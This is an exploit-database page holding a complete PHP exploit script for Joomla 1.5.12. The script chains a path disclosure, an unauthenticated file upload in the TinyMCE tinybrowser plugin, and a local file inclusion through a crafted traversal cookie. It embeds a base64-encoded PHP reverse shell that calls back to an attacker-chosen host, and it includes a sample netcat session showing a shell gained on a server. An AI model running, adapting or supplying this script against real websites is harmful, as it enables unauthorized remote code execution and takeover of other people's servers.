Joomla! 1.5.12 – Connect Back

  • 作者: Nikola Petrov
    日期: 2010-01-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/11262/
  • #!/usr/bin/php
    <?php
    /*
    	Copyright (c) ITIX LTD
    
    	This program is free software: you can redistribute it and/or modify
    	it under the terms of the GNU General Public License as published by
    	the Free Software Foundation, either version 3 of the License, or
    	(at your option) any later version.
    
    	This program is distributed in the hope that it will be useful,
    	but WITHOUT ANY WARRANTY; without even the implied warranty of
    	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
    	GNU General Public License for more details.
    
    	You should have received a copy of the GNU General Public License
    	along with this program.If not, see <http://www.gnu.org/licenses/>.
    
    	TITLE:		Joomla 1.5.12 connect back exploit
    	AUTHOR:		Nikola Petrov (vp.nikola@gmail.com)
    	VERSION:	1.0
    	LICENSE:	GNU General Public License
    
    	Platform: Joomla 1.5.12
    	Vulnerabilities discovery and implementation: Nikola Petrov (vp.nikola@gmail.com)
    	Date: 27.08.2009
    
    	Joomla 1.5.12 suffers from different kinds of vulnerabilities:
    		- path disclosure
    		- unauthorized file upload
    		- local file inclusion
     
    	I heard of unauthorized file upload in Joomla 1.5.12 and I decided to make some research on the topic. Soon after
    	that I found two more vulnerabilities - path disclosure and local file inclusion. Maybe there are more vulnerabilities
    	but these are enough to get a connection back from the server.
    
    	Path disclosure: joomla/libraries/joomla/client/ldap.php
    	Unauthorized file upload: joomla/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php (upload_file.php)
    	Local file inclusion: joomla/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/folders.php
    
    	Here is the LFI vulnerability:
    	-- snip-snip: folders.php --
    	<?php
    		require_once('config_tinybrowser.php');
    		// Set language
    
    		if(isset($tinybrowser['language']) && file_exists('langs/'.$tinybrowser['language'].'.php')) {
    			require_once('langs/'.$tinybrowser['language'].'.php'); 
    		}
    		else {
    			require_once('langs/en.php'); // Falls back to English
    		}
    		...
    	-- snip-snip --
    
    	[wadmin@M01 1.5.12]$ ./jtiny-1-5-12.php localhost 80 / localhost 9090
    
    	[+] web root: /var/www/html
    	[+] tinybrowser secret: s0merand0mjunk!!!111
    	[+] Shell successfully uploaded.
    	[+] Executing shell...
    	[wadmin@M01 1.5.12]$
    
    	[wadmin@M01 /]$ nc -vvv -l 9090
    	Connection from 127.0.0.1 port 9090 [tcp/websm] accepted
    	id && uname -a
    	uid=48(apache) gid=48(apache) groups=48(apache)
    	Linux M01 2.6.30 #1 SMP Tue Jun 16 19:34:59 EEST 2009 i686 i686 i386 GNU/Linux
    	exit
    	[wadmin@M01 /]$ 
    */
    
    	if($argc < 6) {
    		print "\tvulnerabilities discovery and implementation: Nikola Petrov (vp.nikola@gmail.com)\n";
    		print "\tusage: ./jtiny-1-5-12.php <remote host> <remote port> <remote path> <local address> <local port> [remote doc root] [tinybrowser secret/obfuscate]\n";
    		print "\texample: jtiny-1-5-12.php localhost 80 / localhost 9090\n\n";
    		exit();
    	}
    
    	$RemoteHost	= $argv[1];
    	$RemotePort	= $argv[2];
    	$RemotePath	= $argv[3];
    	$LocalAddress	= $argv[4];
    	$LocalPort	= $argv[5];
    
    	if($argc == 7) $RemoteDocRoot = $argv[6];
    	else $RemoteDocRoot = getRemoteDocRoot($RemoteHost, $RemotePath);
    
    	if($argc == 8) $Secret = $argv[7]; 
    	else $Secret = "s0merand0mjunk!!!111";
    
    	print "[+] web root: $RemoteDocRoot\n";
    	print "[+] tinybrowser secret: $Secret\n";
    
    	$Shell = 
    		"PD9waHAKCSRBZGRyZXNzID0gJF9HRVRbJ19yYWRkcmVz".
    		"cyddOwoJJFBvcnQgPSAkX0dFVFsnX3Jwb3J0J107CgoJ".
    		"QCRTb2NrZXQgPSBzdHJlYW1fc29ja2V0X2NsaWVudCgi".
    		"dGNwOi8vJEFkZHJlc3M6JFBvcnQiKSBvciBkaWUoIkNh".
    		"bm5vdCBjb25uZWN0IGJhY2sgYXQgJEFkZHJlc3M6JFBv".
    		"cnRcbiIpOwoJJFByb2MgPSBwcm9jX29wZW4oJy9iaW4v".
    		"c2gnICxhcnJheShhcnJheSgncGlwZScsJ3InKSAsYXJy".
    		"YXkoJ3BpcGUnLCd3JykgLGFycmF5KCdwaXBlJywndycp".
    		"KSwgJFApOwoJCgkkUEk9JFBbMF07CgkkUE89JFBbMV07".
    		"CgkkUEU9JFBbMl07CgoJJE51bGwgPSBudWxsOwoKCXdo".
    		"aWxlKDEpIHsKCQkkU0w9YXJyYXkoJFNvY2tldCwkUE8s".
    		"JFBFKTsKCQlzdHJlYW1fc2VsZWN0KCRTTCwgJE51bGws".
    		"ICROdWxsLCAxKTsKCgkJZm9yZWFjaCgkU0wgYXMgJiRW".
    		"KSAgewoJCQlpZigkVj09PSRTb2NrZXQpIGZ3cml0ZSgk".
    		"UEksZnJlYWQoJFNvY2tldCwgNDA5NikpOwoJCQllbHNl".
    		"aWYgKCRWPT09JFBPKSBmd3JpdGUoJFNvY2tldCxmcmVh".
    		"ZCgkUE8sIDQwOTYpKTsKCQkJZWxzZWlmKCRWPT09JFBF".
    		"KSBmd3JpdGUoJFNvY2tldCxmcmVhZCgkUEUsIDQwOTYp".
    		"KTsKCQkJaWYoZmVvZigkU29ja2V0KSB8fCBmZW9mKCRQ".
    		"TykpIGV4aXQ7CgkJfQoJfQo/Pgo=";
    
    	$File = fopen("./_shell", "w") or die("Cannot open: ./_shell");
    	fwrite($File, base64_decode($Shell));
    	fclose($File);
    
    	#print "uploadFile($RemoteHost, $RemotePath, ./_shell, md5($RemoteDocRoot.$Secret)\n";
    	if(uploadFile($RemoteHost, $RemotePath, "./_shell", md5($RemoteDocRoot.$Secret)) == false) {
    		print "[-] Cannot upload shell.\n\n";
    		unlink("_shell");
    		exit();	
    	}
    	else print "[+] Shell successfully uploaded.\n";
    	unlink("_shell");
    
    	print "[+] Executing shell...\n";
    	shellExec($RemoteHost, $RemotePath, $RemoteDocRoot, $LocalAddress, $LocalPort);
    
    	function getRemoteDocRoot($aRemoteHost, $aRemotePath) {
    		$Client = curl_init();
    
    		curl_setopt($Client, CURLOPT_URL, $aRemoteHost . $aRemotePath . "/libraries/joomla/client/ldap.php");
    		curl_setopt($Client, CURLOPT_RETURNTRANSFER, 1) ;
    		curl_setopt($Client, CURLOPT_HEADER, 0);
    
    		$Response = curl_exec($Client);
    		if(($HttpCode = curl_getinfo($Client, CURLINFO_HTTP_CODE)) != 200) {
    			print "[-] getRemoteDocRoot() recieved http code $HttpCode.\n";
    			exit();
    		}
    
    
    		curl_close($Client);
    
    		$Step1 = strpos($Response, "not found in <b>") + 16;
    		$Step2 = strpos($Response, "/libraries/joomla/");
    
    		if(strlen($aRemotePath) > 1) return substr(substr($Response, $Step1, $Step2 - $Step1), 0, -strlen($aRemotePath));
    		else return substr($Response, $Step1, $Step2 - $Step1); 
    	}
    
    	function uploadFile($aRemoteHost, $aRemotePath, $aFilePath, $aSecret) {
    		$Client = curl_init("http://$aRemoteHost$aRemotePath/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload_file.php?folder=". $aRemotePath ."/images/stories&type=image&feid=&obfuscate=$aSecret&sessidpass=");
    
    		curl_setopt($Client, CURLOPT_POSTFIELDS, array('Filedata'=>"@$aFilePath"));
    		curl_setopt($Client, CURLOPT_RETURNTRANSFER, 1);
    
    		$Response = curl_exec($Client);
    		if(($HttpCode = curl_getinfo($Client, CURLINFO_HTTP_CODE)) != 200) {
    			print "[-] uploadFile() recieved http code $HttpCode.\n";
    			exit();
    		}
    
    		curl_close($Client);
    
    		return strpos($Response, "File Upload Success");
    	}
    
    	function shellExec($aRemoteHost, $aRemotePath, $aRemoteDocRoot, $aLocalAddress, $aLocalPort) {
    		$Shell = "../../../../../../../../../../../../../../../../../../../../../../../../../../". $aRemoteDocRoot . $aRemotePath ."/images/stories/_shell_%00";
    
    		$VulnerableFile = $aRemoteHost . $aRemotePath . "/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/folders.php?_raddress=$aLocalAddress&_rport=$aLocalPort";
    
    
    		$Client = curl_init();
    
    		curl_setopt($Client, CURLOPT_URL, $VulnerableFile);
    		curl_setopt($Client, CURLOPT_RETURNTRANSFER, 1) ;
    		curl_setopt($Client, CURLOPT_HEADER, 0);
    		curl_setopt($Client, CURLOPT_COOKIE, "tinybrowser_lang=$Shell");
    
    		$Response = curl_exec($Client);
    		curl_close($Client);
    
    		print $Response;
    	}
    ?>